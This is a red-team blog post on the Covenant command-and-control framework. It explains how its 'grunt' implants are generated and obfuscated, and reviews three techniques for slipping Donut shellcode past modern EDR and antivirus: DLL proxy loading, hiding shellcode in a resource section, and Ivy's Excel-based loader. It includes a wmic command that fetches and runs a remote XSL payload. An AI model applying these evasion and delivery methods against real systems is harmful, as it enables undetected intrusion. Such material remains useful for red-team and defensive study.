What great timing, s3cur3th1ssh1t just made a post on stageless vs staged Grunts in Covenant. Check it out! A quick background before diving in. What is Covenant? Covenant is one of the easiest post exploitation frameworks to spin up. It uses .NET, which is a just-in-time compiled language, to generate "grunts" that connect back to the C2 in order to receive commands. The commands can be received either through PUSH or PULL methods depending on how you want the network traffic to look and the traffic can be further obfuscated through header modification, among other methods, by playing with different profiles. Covenant makes it simple to change almost every aspect of how commands are fetched. In this write up though, we will focus primarily on customizing our grunt delivery.
How Do The Grunts Hold Up?
Generating simple grunts with Covenant out of the box is quick and modification of their underlying code is fairly easy. There are a few Python scripts to obfuscate common strings in the grunt code (such as removing the term "grunt") and that comes in very handy. Moreover, once you've customized a grunt, you can save that as a template so that you won't need to repeatedly obfuscate strings. The framework has built in tools to generate payloads in many forms such as XSL stylesheets, b64 encoded Powershell commands, and Donut encrypted shellcode - more on that last one later.
All that said, it will take work on the operators part in order to succeed with getting execution off. Where previously you could just generate a payload from the dashboard and get away with sending it to users, now you would get caught immediately.
Naturally, your next question might be "Is Covenant still worth using?" And the answer is a resounding yes! There are far more interesting options that we can use than just a plain old executable and we'll explore some of them below.
Built-in Evasion Options?
Covenant has many options for evasive grunts, giving attackers a wide range of tools. As mentioned previously, Donut can generate shellcode to run our grunts, operators can output a grunt in the form of an XSL style-sheet and use wmic os get /FORMAT:"https://url" to download and execute it, or you can use DotNetToJScript to generate a grunt to be used in a number of ways like Microsoft HTML application (MSHTA) payloads.
Covenant evidently has some well thought out evasion options built into it. It's worth reviewing Donut specifically though for a moment since we'll utilize it below. A key feature is that Donut allows in memory execution of shellcode. Specifically, this shellcode is going to be position independent so that it can be executed from anywhere. How this works at a super high level is that once the grunt is executed, Donut sets up a new application domain meant to run the .NET assembly, shellcode gets loaded into there, and then finally executed.
Hiding The Grunts
Covenant has been around for a long time at this point. There have been quite a few people who have developed different tactics throughout the years that have evaded antivirus. But in 2022 a lot of these don't hold up nearly as well. In 2021/2022, we saw a great advance in EDR's ability to detect malicious actions in files and in memory. There are three techniques for running the Donut shellcode that hold up relatively well despite these advances in detection and below we'll review how they work.
DLL Proxy Loading
This method is the least effective out of the three, but least effective doesn't it won't work and it's up against some stiff competition. What this method does is read in the shellcode.bin file and then use VirtualAlloc to allocate a memory region before copying the shellcode contents into it using memcpy. A simple but effective solution.
A lot of EDR/AV had trouble identifying and scanning the shellcode file generated through Donut. But this method has the drawback of needing to drop the DLL and the shellcode seperately, as opposed to just one application or file. Redteaming.co.uk has a great right up though on doing this here. If you would like to use this technique, it's advised you use a staged dropper to facilitate retrieving both the needed shellcode and the DLL as well as executing the DLL once both are downloaded.
Hiding Shellcode in the .RSRC Section
Another method for getting the aforementioned shellcode onto the victims system is to generate the shellcode bin and then add it to an applications resource section. This is a common technique that offensive security programmers use to hide their payloads and it's not unique to Covenant. Once added here, we can extract the grunt from the invalid ico file and allocate it to memory and execute! Find a more detailed write up on this here.
This technique works great for payloads since this is contained within one file. Getting this onto a system can be accomplished either through a staged or stageless dropper since the grunt is only one file and it's a simple executable that a user can start.
Evasion With Ivy
The third method for evasion, and it's one of my favorites. Ivy is a payload generation tool developed by Optiv. If you haven't heard of it before, you should read more about it here. Basically though, Ivy takes shellcode, encrypts it, and then and executes it in memory. Ivy accomplishes this by spawning a hidden Excel process and loading the encrypted payload strings into a VBA function. It comes with a number of options for evasion built in like breaking up lines into chunks (so that no one line can be determined to be anything but random characters) and an EDR unhooking mode that builds it's own version of WriteProcessMemory. We can couple Ivy with Covenants ability to generate a Donut payload and find a lot of success in evading modern AV. One small drawback though is that we do need the victim to have Office installed.
Generating a payload is super simple. You have options for either staged or stageless, remote process injection or local execution, and a number of different delivery options. Below is a simple example of generating a stageless payload with the Donut bin that Covenant output.
The generated payloads see a big drop in both attribution and detection rates when compared to the bin that we embedded inside of it.
Executing the Ivy payload is equally as simple, the user just needs to double click it. Windows will execute it with the script host and then the grunt will check in.
It should be evident by now that Covenant can still be used quite effectively in 2022. Covenant comes with a feature rich interface that is really nice to see in a free and open source platform and it is very simple and quick to modify grunts. In this post, we have reviewed three techniques for running grunts that can evade modern EDR/AV. The grunts we developed only utilized the built-in Donut generator, so there is still plenty left to explore with the other launcher options.
This was part one of, hopefully, a multipart series. Next up should be what covenant looks like on the wire and how we can combine user agents and message transformation rules with custom protocols to truly blend in and hide with normal traffic on the wire.